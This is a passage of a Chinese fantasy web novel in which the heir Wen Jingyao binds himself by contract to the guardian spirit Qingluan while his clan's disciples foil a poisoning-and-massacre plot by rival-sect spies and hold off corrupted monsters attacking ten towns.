她出门离开,这小院只剩慕夕阙和闻惊遥两人。 慕夕阙步入屋内,关上木门,朝闻惊遥走去,坐在榻边看着他。 自她进来,闻惊遥便始终盯着她瞧。 慕夕阙上下打量他一眼,淡声问:“伤怎么样?” 闻惊遥摇摇头:“无事。” 顿了顿,他又问:“你的伤呢,阿娘说你受伤了。” “我也无事,小伤。”慕夕阙今日来这一趟并非担忧他的伤势,那枚龙鳞下肚,一只脚踏进鬼门关都能拽回来。 她直截了当问道:“以鹤阶的做派,付出这么大的代价,死了那么多鹤阶弟子,连不渡刀都损在这里了,如此撕破脸面势必要围杀东浔,定不会轻易罢休。” 闻惊遥颔首:“嗯,是。” “他们今夜并未来阻拦我们镇压秽毒。”慕夕阙道,“他们应当知晓,我们将秽毒清理后百姓会返回东浔,届时闻家会再次整顿,待重整完毕便是找鹤阶算账的时候了,那些世家们为保自身不敢援助,但千千万万的百姓们可免不了多些关于鹤阶的流言蜚语。” 毕竟整个十三州,修士只占二成,而千万城池中的百姓们才是撑起十三州的支柱。 鹤阶自诩“持正为民”,手握天罡篆镇压祭墟,享誉十三州,惯会收拢人心,应也知晓失民心者便极易失权。 可鹤阶并未阻止他们镇压秽毒。 见闻惊遥不说话,慕夕阙又道:“他们拐去对付从东浔撤出去的弟子和百姓了,是吗?” “嗯。”闻惊遥颔首。 “你并不担忧,有对策?”慕夕阙挑眉,“还是闻家主的对策?” 闻惊遥从榻上起身,又塞了两颗灵丹,自顾自开始穿衣。 待他穿好外衫,束上腰封,低头看慕夕阙,说道:“夕阙,我想我知晓父亲的计谋了,如今应已开始,这个尾应该由我这个闻家少主来收,你要和我一起去吗?” 他伸出手,目光清洌干净,也专注坚定:“这是闻家镇守的东浔,你是未来闻家的掌权人之一,这也是你的东浔,你嫉恶如仇,一心向道,那就和我一起去看看,这些弟子们是如何扶正黜邪的。” 慕夕阙看着他伸出的手,修长有力,骨节分明,指腹和虎口的剑茧都是他这些年练剑的痕迹。 她抬手,握住他的手。 闻惊遥用了些力,将她拉起来。 他看着两人交握的手,轻声说道:“你说得对,我要守的是雾璋山,我不能看这条路上失去了多少,要看走到路的尽头,我守住了多少。” “我始终相信,这世道邪不压正,有一日我必能和你一起,用你我手中的剑,千千万万修士的武器,去肃正乾坤。” 作者有话说:那个黑衣人为什么掉头走了,后续会写哦,有原因的[撒花] 第44章 第 44 章 “青鸾会庇佑我们的。”…… 如今夜深, 除了轮换守镇的闻家弟子,其余弟子大多住在了用木杆和篷布临时搭建的营帐内。 贺敛奔向雁门镇心,他熟知闻家弟子看守的路线, 避免久战果断避开,无数道黑影拔地急速奔去, 从四面八方向着一个地方汇合, 穿街走巷,自一闪闪紧闭的窗下掠过。 每个镇心便是祠庙,供奉的是雾璋山的青鸾。 贺敛抵达祠庙门前, 已聚集了十几人,见他来了,拱手行礼:“贺师兄。” 鹤阶弟子千千万, 七成留守鹤阶, 是百姓眼中除祟有功、庇民护世的俊杰, 然而鹤阶还有三成秘密培养的弟子, 由鹤阶送去那些豪派大家, 安插成为眼线。 贺敛便是其中一位,十岁便入了闻家,从外门弟子一路成为八大堂的直系弟子。 他看着燃灯供烛的祠庙, 目光阴狠,沉声道:“其余人没擅自行动吧, 若有阴谋, 免得将咱们一锅端了。” 身后的弟子道:“并未,咱们的眼线只出动了一半, 待确定并无陷阱后才会尽数出动,动手杀人。” 贺敛踹开祠庙的大门,拔出腰间弯刀走进去, 院内阴雨霏霏,细如牛毛的雨水斜斜砸落,三月的雨尚带了些森寒,外头森冷,祠庙大门却敞开,里头无人。 他站在院内,正对大门,门内供奉着一尊青鸾雕像。 青羽背覆流光,朱喙明眸,它扬首作啼鸣状,姿态高雅,圣洁肃重,看着雾璋山的方向,看着雾璋山下的东浔主城。 贺敛嗤了一声,拔刀祭出,一刀破碎整个祠庙,房屋倒塌,灰烬将供奉的烛火熄灭,好似也一同掩埋了青鸾。 他抬手摆了摆,身后的弟子们前去搜寻,一刻钟后,有人抬手高呼。 “贺师兄,在这里!” 贺敛赶忙走过去,景洲说得没错,这十座城池的镇心祠庙内,确实都埋了一根青鸾的羽,那根青羽放入一个长条的琉璃盒中,并未沾染半分尘垢,它在这里埋了千年仍如刚褪羽那般光泽。 他们能感知到强大的灵力波动,外层的琉璃盒便是封禁青羽神力的禁制,若触碰这盒子,便会触动杀阵,绞杀所有外来之人。 可青羽并不会击杀东浔闻家之人,而他们身上都佩戴有闻家的弟子玉符。 贺敛笑了下,抬手拿起琉璃盒,那根青羽仍安静躺在其中,并未有半分动静,似乎感知到了触碰它的是闻家人,这是它庇护的弟子。 “真傻。”贺敛冷声道。 他收起琉璃盒,身后的弟子手捧玉符上前:“弟子们都已传信回来,确实有青羽,其余九座镇的青羽都已被收回关入禁制。” 贺敛转身看着已成废墟的祠庙,冷声问:“这里的祠庙都无人看守吗?鹤阶供奉的玉灵可有人日日守着呢。” “弟子们去探查了,说是只有白日有人守,夜晚后守烛的人便会去休息,百姓们信仰此处,无人会夜半闯祠庙。” 贺敛嗤笑了声,收回目光,转身朝外走。 “可惜青鸾必须除去,这些人也必须死。” 他走至门外,看着外头黑沉沉的天,以及越下越大的雨,十几名弟子皆眉目阴沉,虽身着闻家统一的青衫,却毫无平日的端方雅正。 一个个像是披了锦衣的恶鬼,圣人貌,修罗心。 贺敛道:“待他们毒发,便动手。”- 东浔主城并未下雨,圆月高悬,照着这座没有多少人的空城。 闻惊遥穿戴好,却并未先去那几座镇,他带着慕夕阙上了山。 去了那座守在东浔万年的雾璋山。 这是慕夕阙第二次来雾璋山,越往上越是森寒,大雪覆地。 闻惊遥牵住慕夕阙的手,飘飘洒洒的小雪落在两人的发上,肩头也累了不少霜雪,他们并未驱咒融雪。 “夕阙,你冷吗?”闻惊遥问她。 “不冷,无事。”慕夕阙看着前方的清心观,失去了往日总守在这里的那名老者,门前的雪无人清扫,已积到脚踝。 闻惊遥便继续牵着她往前走,他边走边说:“雾璋山太高,山顶霜寒,终年雪景,我在这里生活了十年,其实每年下山都需缓上一阵,山下很温暖,淞溪更是如此,我有些不适应。” 这些慕夕阙倒是不知晓,她看着闻惊遥和自己交握的手,他修行的术法偏寒,以至于他的体温比她要略低些。 小时候她没少调侃闻惊遥是不是雪做的,长得像雪花般干净清冷,周身气息也像雪般清凉。 “可是每次下山,我都迫不及待想去见你,最初是母亲责令我与慕家交好,后来我觉得与你相处很开心,你是我最好的朋友。”闻惊遥握紧她的手,他踩出了一个个雪坑,让慕夕阙踩着他的脚印走。 “再后来我长大了,第一次败在你手下时,那时候比羞愧更让我难忍的,是我快到几乎要跳出胸腔的心脏,我回到清心观,第一次觉得这里太过孤寒。” 他说完,两人也已站到清心观门檐处。 闻惊遥仰头望着镌刻有“清心观”三字的匾额,无人再日日擦拭,雪已薄薄覆了一层,他用灵力挥去霜雪。 “我这条路太静了,也太过光明,一眼就能望到头,你是我唯一的变数,也是这条路上唯一的喧哗热闹,我想你回头看看我,也恐你被我拖累停下脚步,我只能默默追着你走。” 闻惊遥垂眸,看着两人交握的手,她一直安安静静的,这两日让他的心境大变,恍惚间觉得,他过去走的路其实都是错的。 “是我自作多情,你这样通透坚定的人,又怎么会被任何人绊住?”闻惊遥声音很轻,收紧掌心,攥紧她的手,“你说得对,我永远克制沉稳,不徇私情,确实会后悔,万初长老说得也对,想要什么就得去争去抢,什么都守不住留不下,痛苦难忍。” 他抬眸,看着慕夕阙的眼睛,如今夜深了,圆月高悬于天际,雾璋山太过高耸,像是伸手便能触碰到月亮般。 她看着他,理性又冷静。 从始至终,困于这段情中逐渐失去理智的,只有他自己。 慕夕阙是不会为任何人停下脚步的,她只会坚定走自己的路,去闯她认为正确的道。 “夕阙,我带你看看青鸾吧,带你看看,我心中的信仰。” 闻惊遥推开清心观的大门,这里无人了,连根烛火都未燃,他们便伴着泼洒的月光,一路走进去,穿过整个清心观,越过一片茫茫雪原,来到万丈深渊之前。 鹅毛大雪落进雪崖,这里的气息纯净圣洁,慕夕阙觉得,自己似乎能听见隐约的呼吸声,像是一头巨兽在里面沉睡。 闻惊遥道:“青鸾在里面,我不知是多久,或许万年,或许十万年前,总之雾璋山出现,青鸾选择栖息在这座山,那时候也没有东浔,只有一座山。” 后来,一队人定居在雾璋山下,百年千年过去,从一个小村发展成一座小城,青鸾默默庇护了这些人,而后这些人中有一位被青鸾认可,这只山灵选择成为这座城的玉灵。 当这座城越发强大,它延绵万里,从万室之邑扩展成有千万郡县村镇的东浔,青鸾便成为了整个东浔的守护神。 “每一任家主死去后,新任家主会与青鸾再次缔结契约,而青鸾则会褪下一羽送出来,而万年前那场灾厄过后,青鸾却一次性褪下了十根羽,那时的家主将其埋在将东浔主城团团围住的十镇之内,那十座镇是东浔地界的防线。” 慕夕阙拧眉,问道:“就是你们差遣所有弟子带领主城百姓撤去的十座镇?” “嗯。”闻惊遥颔首,“阿娘让百姓撤去那十座镇,便是因为这十根青羽。” “那十根青羽可有用处?” 闻惊遥看着她,他似乎多了些笑意,清俊的眉目柔和了些,说道:“青鸾护佑东浔百姓和闻家弟子,它是有灵性的,它的羽与它心性相通,若你信仰它,它自然会成为你的守护神,若你不信它,它也绝不会庇佑任何一个叛徒。” 慕夕阙眉梢微扬。 少年又问:“夕阙,你可知玉灵为何不能出山?” 慕夕阙皱眉,想了想,说道:“听人传过,山灵选择成为玉灵后,则会与这座山的一部分本体相融,若玉灵出山,则山崩,它们不会轻易出来,除非遇到灭世大灾。” 比如万年前的灾厄降世,有十座城池的玉灵并不强悍,只能出山,以本体与祟种同归于尽,此后那十座城池失去了玉灵,也渐渐没落。 而青鸾太过强悍,并未显出本体,只用了灵体,慕家的金龙也是如此。 若能召这些玉灵出山,那便证明灭世大灾要来了。 闻惊遥说道:“还有另一说法,十三州所有城池皆倚山而建,若能得山灵信任选择成为这座城池的玉灵,那便能在十三州站稳脚跟,玉灵会在一定程度上抵御天灾,带来福泽。而万千玉灵无论强大弱小,皆都心性纯善,若你心善,它会继续庇佑你,若你蛇蝎心肠,徒增业障,它便会离开,让山崩,让城池没落。” 若论业障,谁有鹤阶造的多? 可鹤阶的玉灵却仍在庇护他们,鹤阶这些年越发强悍,也离不了那只玉灵的庇佑。 “所以我一直信,东浔闻家这些年行善积德,济世救民,青鸾会庇佑我们的,阿娘今日交给我这枚玉牌,她说,她不打算与青鸾契约,而是让我来找青鸾契约。” 庄漪禾说,东浔要交给他才行。 闻惊遥偏头垂眸,看着雪崖之下。 他抬手,祭出闻承禺腰间的那块家主玉牌,是庄漪禾今天白日交给他的。 仅有一半掌心大小的玉牌悬立在虚空,荧荧青光自玉牌周身逸散,那光亮由弱变强,万千青光碎成流星,轰然炸开,点点落进雪崖。 慕夕阙听到了一声清脆的啼鸣。 声破云霄,唳鸣彻天。 她分明不是东浔的人,她的信仰是金龙,守护她的玉灵远在淞溪,可此刻,听到青鸾的啼鸣声,那是它的本体发出的声音,几乎令她心神震荡,心跳快了几分,看着深不见底的雪崖。 那一声声啼鸣似愤怒,似哀嚎。 它在怒为何庇护的百姓会有叛贼,妄图戮城诛灵。 它哀嚎人心复杂,贪欲促人疯狂,因此戮杀无辜。 闻惊遥身子笔直,看着雪崖之下,他看不见青鸾,但他知晓青鸾在看着他。 他抬手在掌心划出鲜血,用灵力托举传入那枚玉牌中,血滴在润泽的玉牌之上,化为青光融入进去,而崖下的青鸾觉察出新的契约生成,它的啼鸣声高昂。 一阵又一阵,在山谷里回环喧腾,伴着纷纷扬扬的落雪,这只玉灵接受了闻惊遥,认可了这个新的契约人。 家主玉牌光泽大亮,青光溢满山崖,一根青羽从崖底托举上来,尚有温热的气息,闻惊遥伸出手,接住了那根青羽。 青鸾鸣叫一声,似在叮嘱他。 契约已成,闻惊遥甚至能听懂它的意思。 它在说—— 我与你一同,去守住这座城,守住东浔闻家,守住东浔。 就如它这万年来对东浔的庇护一般,只要百姓信奉它,它便会留在这座山里护佑他们。 闻惊遥低头,喉口滚了滚,应道:“好。” 慕夕阙说不上这是什么感觉,她并未见过真正的玉灵,连淞溪的金龙都未见过,它也同样栖息在琼筵山的山谷里,它的龙脊早已化为了那座山的山脊。 如今她近距离接触一只强悍的玉灵,这些玉灵是开天辟地之时天神赐予人间的福泽,淞溪的金龙,东浔的青鸾,赤敛的麒麟,青城的貔貅。 白虎,毕方,玄武…… 那些玉灵只活在《十三州史》中。 即使未见到真容,即使青鸾庇佑的并非她,慕夕阙仍觉得—— 这太过震撼了。 闻惊遥握紧她的手,收起青鸾的羽,对她说:“夕阙,我们走吧。” 慕夕阙最后看了眼雪崖之下,青鸾的啼鸣早已消失,它兴许再次沉睡,又兴许还醒着在目送他们离开。 她恍惚间明白,为何闻承禺能决然赴死。 他是青鸾认可的人,肩负着一只玉灵的信任与寄托,玉灵在誓死守卫这座城,那么身为家主的他,也理应如此。 倘若他的死可以为这座城带来最大的援助,那么他誓死不悔。 慕夕阙走在下山的路上,看着闻惊遥,此后他便是闻家真正的当权人,虽明面上庄漪禾是家主,可实际,这整个东浔早已压在了闻惊遥肩上。 她忽然想知道,在她不知道的上一世,东浔经历了什么,以至于闻承禺和庄漪禾双双死去,这只玉灵又如何了? 青鸾,它还在吗? 随着他们两个走出东浔主城,闻家主宅门口,两道身影立于门檐下。 朝蕴道:“他们走了,这是闻家主的意思吗?” 庄漪禾颔首:“是,他的意思便是让青鸾认惊遥,让惊遥去处理这些事,我懂他。” “那你呢?”朝蕴问。 庄漪禾笑了下:“我?他应当没想过我今后要怎么过吧,他的心里只有这座城。” 朝蕴沉默不语。 庄漪禾却还在笑,她低下头,低声喃喃:“我也想知道,他死前有没有想过我呢?”- 贺敛站在营帐之前,看着里面毒发后晕倒的弟子们,他面无表情,即使这些是和他朝夕相处的同门,有将近十年的交情,但在闻家当个俭素的弟子,不如鹤阶能给他的利益大。 他转身,看到九个方位一个接着一个燃起冲天的焰火。 贺敛掏出玉符:“让所有安插进来的人全数出动,务必要将闻家铲除干净。” 一个个人影从昏倒的弟子中站起,不多时,贺敛身后站了五十多人。 而与此同时,其余九镇也同样如此,每个镇几乎都有五六十人。 待所有人集结完毕,贺敛冷声道:“杀。” 身后弟子乌泱泱冲去营帐,一人走至一名晕倒的闻家弟子身前,抬刀便要劈下,刀离命门只有一寸之遥。 一柄飞镖从侧方击来,锵然一声,将他的刀打落。 眼前青影一闪而过,一人从房檐上跃下,身影灵活,从身后扑上,双腿绞住他的脖颈,骇然拧断他的脖颈 几十人从屋顶击碎瓦片跃下,训练有素,迅速拦下鹤阶弟子的杀招,压着人退出营帐,该杀杀,该打打。 贺敛瞳眸微颤,眼前一柄飞刀飞快朝他逼来,贺敛后仰躲过那柄长刀,刀身擦着他的面门而过。 他单手撑地,借力站稳,而眼前那人又逼了上来。 贺敛看到一个不该出现在这里的人。 景洲。 来不及多想,贺敛拔刀迎上,两人从地面一路打至房檐上,而景洲那双素来温和的眼竟在此刻冷冽如寒霜,他刀刀带刃。 贺敛边打边问:“你如何会在这里!” 他明明特意将他引出去,镇外还有埋伏! 景洲却沉默不语,并未回答,纵身跃上一刀劈下,趁贺敛防备之际,他另一只手挥出,袖中的飞镖裹挟着利风,擦颈而过,割断了贺敛的脖颈。 贺敛捂着脖颈,鲜血顺着指缝溢出,他瞪大了眼,看景洲面无表情看了他一眼,随后跃下房檐加入战局,将那些今夜冒出头的叛贼诛杀。 他到死也不明白,为何景洲没被留守镇外的鹤阶弟子埋伏? 他捂着脖子,从屋檐上跌落,泥水裹满了他的身子,而乾坤袋散开,一个琉璃盒露出一角。 身着青衫的女弟子捡起,用衣袖擦拭干净,待景洲绞杀最后一人后,她递过去:“青鸾的羽。” 景洲接过,低声吩咐:“宁筠,赶紧去给他们解毒。” 宁筠转身,吩咐身后的弟子们去了每一个营帐,给中毒的弟子们服下解毒丹。 景洲看着营帐内横七竖八的弟子,这便是庄漪禾吩咐他的事情。 不知叛贼多少,若不能一网打尽只会打草惊蛇,以鹤阶的手笔,他们安插进来的弟子远不如闻家的弟子多,要以少胜多定会下毒。 那么将计就计,不肯用膳避免中毒的,便是鹤阶安插进来的人。 鹤阶的目的是伪装出祟种夜袭屠杀闻家的假象,那么必不能下致死的毒药,只能下软筋昏厥的毒,待所有中毒的人晕厥,那么他们便会拔出利刃伪装出祟种袭击的惨状,杀人毁尸,再留下打斗痕迹。 留几个活命的百姓传信,有祟种夜袭便可,接着鹤阶再来“镇压祟种”,既屠了闻家,又博得除祟有功的好名声,继续坐稳地位。 歹毒至极。 庄漪禾精挑细选,选出了绝对能信任的弟子,他们提前服下避毒丹,待所有叛贼都冒出来杀人之时,便是他们出击反杀之际。 景洲看着营帐内解毒后慢慢清醒过来的弟子们,他们并不知晓发生了什么,看着满地的尸身皆愣住,但闻家弟子素来稳重,很快,这些年轻弟子们便反应过来,皆冷着脸起身站好。 宁筠走过来,说道:“咱们将雁门镇外的鹤阶弟子杀了个干净,镇内的也杀了,如果夫人没猜错,待这些叛贼屠完闻家弟子,要伪造出祟种经过的痕迹,必得让活下来的百姓们看到祟种,然后鹤阶再假仁假义前来镇压。” 景洲握紧手中的琉璃盒,咬紧牙关,他与宁筠对视。 宁筠冷着脸,说道:“鹤阶还有祟种,并且会攻镇。” 景洲别过头,长长吐了一口气。 不知道鹤阶到底哪来的秽毒,怎么造出这么多祟种,又如何控制祟种出世的局面。 但景洲知晓,雁门镇很大,东浔主城附近的十镇个个都顶一座小城池,如今镇内留守了将近三千的闻家弟子,负责保护五万百姓。 夜雨森凉,打在每一个闻家弟子的身上,他们皆未避雨,站在雨内,手持武器等着景洲说话,这是庄漪禾的亲传弟子,是闻家首席弟子之一。 末了,景洲睁开眼,说道:“我信夫人和家主,他们既然让咱们撤去这里,定会有办法保全百姓。” 他低下头,看着琉璃盒中的青羽,低声道:“我也信青鸾,它会一次又一次地保护我们。” 镇内熄灯,未燃一烛。 大多百姓就寝,有些中了毒,被闻家弟子解毒后也不知发生了什么,但他们都得到传令,不得出门,不得燃灯。 有些胆子大的悄悄从窗内看去,每一条街巷内,人头攒动,三千弟子站满了这雁门镇,长身玉立,手执武器。 而千里之外,其余九镇皆是如此,领队的首席弟子和长老们持刀站在镇门前,上千弟子站于身后,紧紧盯着夜雨中黑黝黝的镇外。 一只祟可屠一城。 但千千万万修士的武器,会战至最后一刻。 夜雨中,幽深的密林内,有什么东西快速略过,朝着这寂静的小镇掠去。 一只祟种跃出密林,昏暗的光映出他腰间的令牌,白玉之上用金漆镌刻了一个龙飞凤舞的字。 ——任。 作者有话说:任风煦出现啦,从开头贯穿到现在的角色终于出场了,他是一个非常重要的角色,能揭露不少伏笔~ 这一段剧情马上要收尾啦,玉灵是非常强大的存在[撒花] 今天发个红包~ 第45章 第 45 章 愿青鸾一直在 东浔主城寂静, 厢房之内,静坐的白发男子半阖着双眸,闭目打坐。 倏然之间, 他睁开了眼。 徐无咎起身便要往外走,刚打开门, 与门外正欲推门进来的师盈虚迎面相撞。 师盈虚皱眉:“你要去哪里?” 徐无咎绕过她便往外走。 师盈虚一个箭步追上去, 堵在他面前:“有些话你还未告诉夕阙,她废了大功夫救你回来的,你不能走。” 徐无咎垂眸看她, 她堵在他唯一的出路,丝毫不肯让步,仿佛只要他敢试图闯出去, 她便一定会竭力去阻拦他。 “我义父出现了。”徐无咎淡声说。 师盈虚眨了眨眼, 反应过来徐无咎的义父是谁。 “任风煦前辈?” “嗯。”徐无咎绕过她往外走。 师盈虚赶忙追上去:“任前辈身为千机宗大长老, 却在一月前被发现化祟, 如今想来这其中必有鹤阶的手笔, 鹤阶明明将任前辈带回关押了,如今怎么可能出现在外面?” 徐无咎站定,而师盈虚也绕至她身前, 她比过去多了些稳重,提及祟种之时眼底是藏不住的恨意, 过去从未接触过这些邪灵, 可如今她的爹娘都被鹤阶残害变成了祟种。 “师大小姐,不论是不是计谋, 我感知到义父出现了,在我年幼时他赠予了我一枚玉牌,我们能随时找到彼此, 他先前确实在鹤阶,如今也确实出现在了东浔地界。” 徐无咎无意与她多做解释,匆匆往外走。 师盈虚站在原地,萧条的风吹过她的衣裙,她垂下的手悄然握紧,慕夕阙叮嘱过她要看好徐无咎,她本应该将徐无咎扣在这里。 可如今,任风煦出现了,背后定有鹤阶手笔。 师盈虚咬紧牙关,只纠结了片刻,末了迅速转身,抽出腕间缚绫将徐无咎牢牢捆住,如今徐无咎重伤且有毒在身,手无缚鸡之力,丝毫挣扎不开。 师盈虚将他扯回来,沉声道:“夕阙说让我看着你,你不许去。” 徐无咎面无表情盯着她。 两人对峙,谁都不肯让步。 “盈虚,放手吧。” 正僵持着,有人从后方走来,淡淡开口,打断了他们二人的僵持。 师盈虚侧眸看去,朝蕴身后跟着姜榆和蔺九尘,几人一起走来。 “朝家主。”师盈虚赶忙站定。 朝蕴走过来,拍拍她的肩,又转身看向被捆起来的徐无咎,沉声说道:“徐公子,方才来的路上,阿尘已告知我一切原委,我女儿救你确实废了不少功夫,且因此受伤,如今我们慕家要知道的事情你还未完全告知。” 她顿了顿,抬手在徐无咎身上打入一道灵印,朝蕴眉眼冷淡,说道:“任前辈的事情蹊跷,你知道的确实多,我可以放你去,但若你不回来,无论你逃到天涯海角,慕家暗桩定追你到黄泉碧落。” 朝蕴说完,看了眼师盈虚,后者会意,红唇微抿,最终还是不甘心地收回了缚绫。 徐无咎拱手行礼:“谢过朝家主。” 他转身离开,师盈虚匆匆跟上:“我也去。” 蔺九尘皱眉,正欲阻拦,朝蕴横臂挡住他:“阿尘,让他们去吧。” 眼见师盈虚和徐无咎走出甚远,蔺九尘眉心紧拧,说道:“师大小姐性子冲动,徐无咎如今又毫无修为,他们两人……” 话还未说完,蔺九尘看到从两侧房檐上跃下一道道黑影,悄无声息跟在师盈虚和徐无咎身后。 朝蕴看向他们离开的背影:“她是师家大小姐,如今便是师家的家主了,师家弟子会誓死保护她,且盈虚性子变了,事关祟种和鹤阶的事,她心下有掂量的。” 她安静片刻,末了叹了一口气:“你师妹和惊遥也去了,既然敢去,应是有对策。” 蔺九尘和姜榆齐齐看向朝蕴。 任风煦这般强悍的祟种出现,慕夕阙和闻惊遥竟然去了?- 景洲握紧手中的刀,夜雨淅沥砸落在每一个人身上。 轰然一声,雷光在远处炸起,映出一双灰白的眼。 景洲瞳眸微颤,几乎破音:“是祟种!” 这只祟种的速度竟这般快,他们几乎毫无察觉,祟种已经穿过密林到了眼前。 那只祟种旋身挥刀,藏红色的灵力划出半圆的轨迹,这位生前曾是刀道绝顶大能的前辈一刀祭出,刀光骇人如卷风过境般冲来,所过之处连泼洒而下的雨水都齐齐震飞。 镇内的弟子们后撤一步,抬手便要结阵抵御。 轰! 刀光撞击到镇门前,却被一堵凭白出现的青墙全数挡回。 祟种逼至灵力聚成的青墙之前,旋腕再次发动进攻,可这一次,那刀光仍被阻拦在青墙之外。 他似乎不理解这东西是什么,只能一次又一次地挥动长刀,劈砍在面前的结界上。 而镇内,宁筠声有喜色:“是玉灵,镇内的结界玉灵还能抵挡祟种的进攻!” 可景洲却面无表情,咬牙盯着那面出现了浅淡裂痕的盾墙。 这只祟种修为颇高,结界玉灵也只能抵御祟种一刻钟,为他们争得片刻喘息的机会。 青羽似乎还在沉睡,并无反应。 景洲握紧手中的长刀,又想起临行前,庄漪禾叮嘱* 他们的几个领队之人的话。 庄漪禾说:“若有祟种攻镇,誓死守护百姓,不惜一切代价。” 他想,他似乎明白庄漪禾的意思了。 景洲上前一步,正要召唤弟子殊死抵抗,下一刻,他腰间的弟子玉符亮起青光,不止他,所有闻家玉符都亮起了青光,万千光亮如一颗颗亮起的繁星,照亮了未点一烛的雁门镇。 远在千里之外的其余九镇,也都被一个个弟子腰间的玉符照亮。 有道清洌的声音自玉符中传出。 “结阵,万灵阵。” 是闻惊遥。 他手握家主玉牌,可以联络所有闻家玉符。 景洲当即皱眉,手持玉符回话:“万灵阵需要强大的灵力,以我们的修为凝出的万灵阵,也远困不住——” “结阵。”玉符另一端的少年淡声开口,再次说,“万灵阵。” 景洲咬牙,沉声应道:“是!” 千里之外的九镇亦是如此,十只祟种被阻拦在结界玉灵外,镇内盈千累万的弟子们冒雨跃上跃上虚空,一道道人影如一柄柄利剑倒悬在夜空中。 弟子们抬手结印,汇出灵力。 十根灵力汇聚成的天柱自十座镇内迸发,一跃直入云霄,照亮了这方圆千里。 百姓们探头去看,罡风吹起弟子们被雨水打湿的衣衫,这些弟子或年长或年幼,上至百岁,下至十二三岁,如今他们如一道道盾悬立在各个方位,面容冷静。 头发花白的老者是从城内奔逃出来的,他坐在收留他的雁门镇百姓的屋内,看着那些弟子们毫不吝啬榨干自己的灵力,撑起这座镇内的天柱,拔地而起的十根天柱,是闻家三万弟子共同凝出的罡罩。 他沉沉叹了口气,杵着的拐杖重重锤击地面。 “这世道啊……” 有人用尽心血,绞尽脑汁妄图灭世。 有人生死不顾,用自己单薄的双肩扶天下之危。 十根天柱撑起,化为十面罡罩堵在镇门之前。 景洲眼睁睁看着那只祟种击破结界玉灵,直冲雁门镇来。 他厉声道:“撑住!不能让祟种进镇!” 可闻家兵力重创,修为最高的长老和弟子们也战死不少,他们失去家主,只有一些修为不高的弟子们在这里,要面对的却是一只足够屠城的祟种,仅靠这三千年轻弟子,要如何撑住,如何守住? 随着祟种的一刀砍在他们撑起的天柱上,所有弟子胸腔重闷,皆呕出一口血,身子晃了晃,有些刚入道的弟子竟直接从虚空跌了下来,撞碎瓦檐,砸入泥地。 在屋内闭门不出的百姓忘却弟子们的叮嘱,从屋内奔出,接住一个个掉落的弟子,背起重伤的他们进屋。 景洲咬牙,逆冲经脉调动灵力,可万灵阵虽强悍,却极其消耗灵力,以他们如今的修为,根本无法结出有绝杀之技的万灵阵。 天柱在祟种源源不断的进攻下,最终浮现一丝裂痕。 景洲双手颤抖,脚步被逼得节节败退,却又不能退后,咬牙撑着灵柱,他们的身后是五万百姓,祟种若进镇,死伤无数。 他看向远处的雾璋山,它掩在浓云之中,连轮廓都瞧不清了。 但东浔无人不知雾璋山的位置,便是三岁的稚童都能准确找到它的方向,逢年过节对着那座山许愿。 青鸾啊青鸾,请保佑新的一年家人安康,请保佑东浔物阜民丰,请保佑我们能一次又一次地战胜天灾,抵御人祸。 景洲咬牙,双目赤红,泪几乎从眼眶迸出来,他低声喊道:“青鸾!青鸾!” 这只镇守东浔的玉灵,只要有人唤它,它一定能听到。 镇心倒塌的祠庙内,碎瓦掩埋的青鸾神像,荧荧的青光迸发,而景洲乾坤袋内的那根青羽在此刻彻底冲破琉璃盒,那根青羽冲向虚空,破碎成耀眼的青光。 虚化出的神鸟幻影啼鸣一声,远在千里之外的其余九镇,各自供奉的青鸾神像皆都迸发出光亮,召唤那根万年前埋下的青羽苏醒。 十只幻化的青鸾冲向用灵力聚成的天柱,一根青羽是青鸾十年的修为,神灵的修为强悍到无可匹敌,它们冲向天际,在虚空中划出连雨水都无法浇灭的火焰,撞向快要破碎的天柱。 强大的灵力加持,天柱再次凝实,它愈发粗壮,愈发高耸,穿入云霄。 啼鸣声传扬万里。 这是一只玉灵的震怒和反击。 而东浔主城之内,庄漪禾站在院内,看向从十个方位迸发的天柱。 她仰头望着,千里外的雨云终于飘到了东浔主城,细雨落下,打在她的脸上。 她闭上眼,手中握着的字条飘落在地,雨水打湿了那遒劲的字迹,是她方才回屋在闻承禺的桌上看到的。 ——夫人,三十年夫妻,我有愧于你,若你能活下来,望你能撑住东浔,再撑一次,一次便好。 旁边还有一行很小的字迹,似乎是闻承禺想写,却又觉得不好意思,只能写得更小一些,让它不那么引人注意。 ——阿禾,你的生辰快到了,这次我亲自为你打了金簪,在你的妆奁内,样式是我绘制的,你总说我不懂你,送的礼不合你心意,不知这一次我的礼物,你是否会喜欢? 庄漪禾捂住脸,在无人的院内,她的脊背越来越弯,直至无力站起,蹲在地上,近乎崩溃地哭出声。 她想,闻承禺死前,应是想过她的。 那么她也会一次又一次地守护这座城,用她的生命、她的血肉和无尽的勇气,去守住他誓死捍卫的东浔,去守住这些百姓。 她会代替他,肃清闻家,以正家风- 当看到十根天柱拔地而起,慕夕阙和闻惊遥仍奔移在去往雁门镇的路上。 慕夕阙问他:“你要用万灵阵镇压那十只祟种?” “嗯。”闻惊遥回应,仍握紧她的手,“青鸾的羽有它的修为,它知道我的意图,会助弟子们完成阵术。” 慕夕阙沉默不语,两人穿行在密林中,速度极快。 闻惊遥是个极为沉稳冷静的人,他总能在任何危险境地想出最合适的应对法子,慕夕阙有时也不得不想,还好闻惊遥一心向道,若他生出邪念,那他这个人对十三州来说便是一个极大的隐患,人人得而诛之。 两人距离天柱越来越近,远远地,慕夕阙感受到浓重的邪气。 是祟种。 闻惊遥松开她的手,纵身跃上虚空,他看到天柱后的上千闻家弟子,那些弟子似乎惊愕他为何会出现在这里。 可他如今在镇外,而那个祟种也在镇外。 果然,祟种察觉身后有人,厉然回眸,灰白的眼睛直勾勾看着闻惊遥,拔刀便要冲上来。 景洲厉吼:“少主!” 慕夕阙召出十二辰,万千花瓣在闻惊遥身前撑起一面墙,抵御了那只祟种的长刀片刻。 趁这片刻功夫,闻惊遥抬手,祭出青鸾赠他的那枚青羽,他用力震碎,滔天青光从羽中溢出,而他操控那些灵力加注在自身,抬手结印。 自他身后,十根灵力聚成的锁链现出,一根飞向雁门镇,其余九根向另外九个方位倏然伸去,一瞬千里,捆住修士们用灵力凝出的九根天柱。 锁链的尾端全数交织在一起,他抬手攥住,用力后拽,寒风将青衣吹得猎猎作响。 轰—— 十根天柱被强盛的锁链一股拽下,闻惊遥侧身避开。 沉闷的响声敲在每一人心头,万千弟子眼也不眨,看那万灵阵汇聚出的天柱重重砸在了祟种身上,荡起满地的泥泞,波动的威压冲出百里,震碎山石。 雨越下越大,噼里啪啦砸在地面,敲击在青瓦上,这雨声也不像方才那般沉闷了,而是清脆有力。 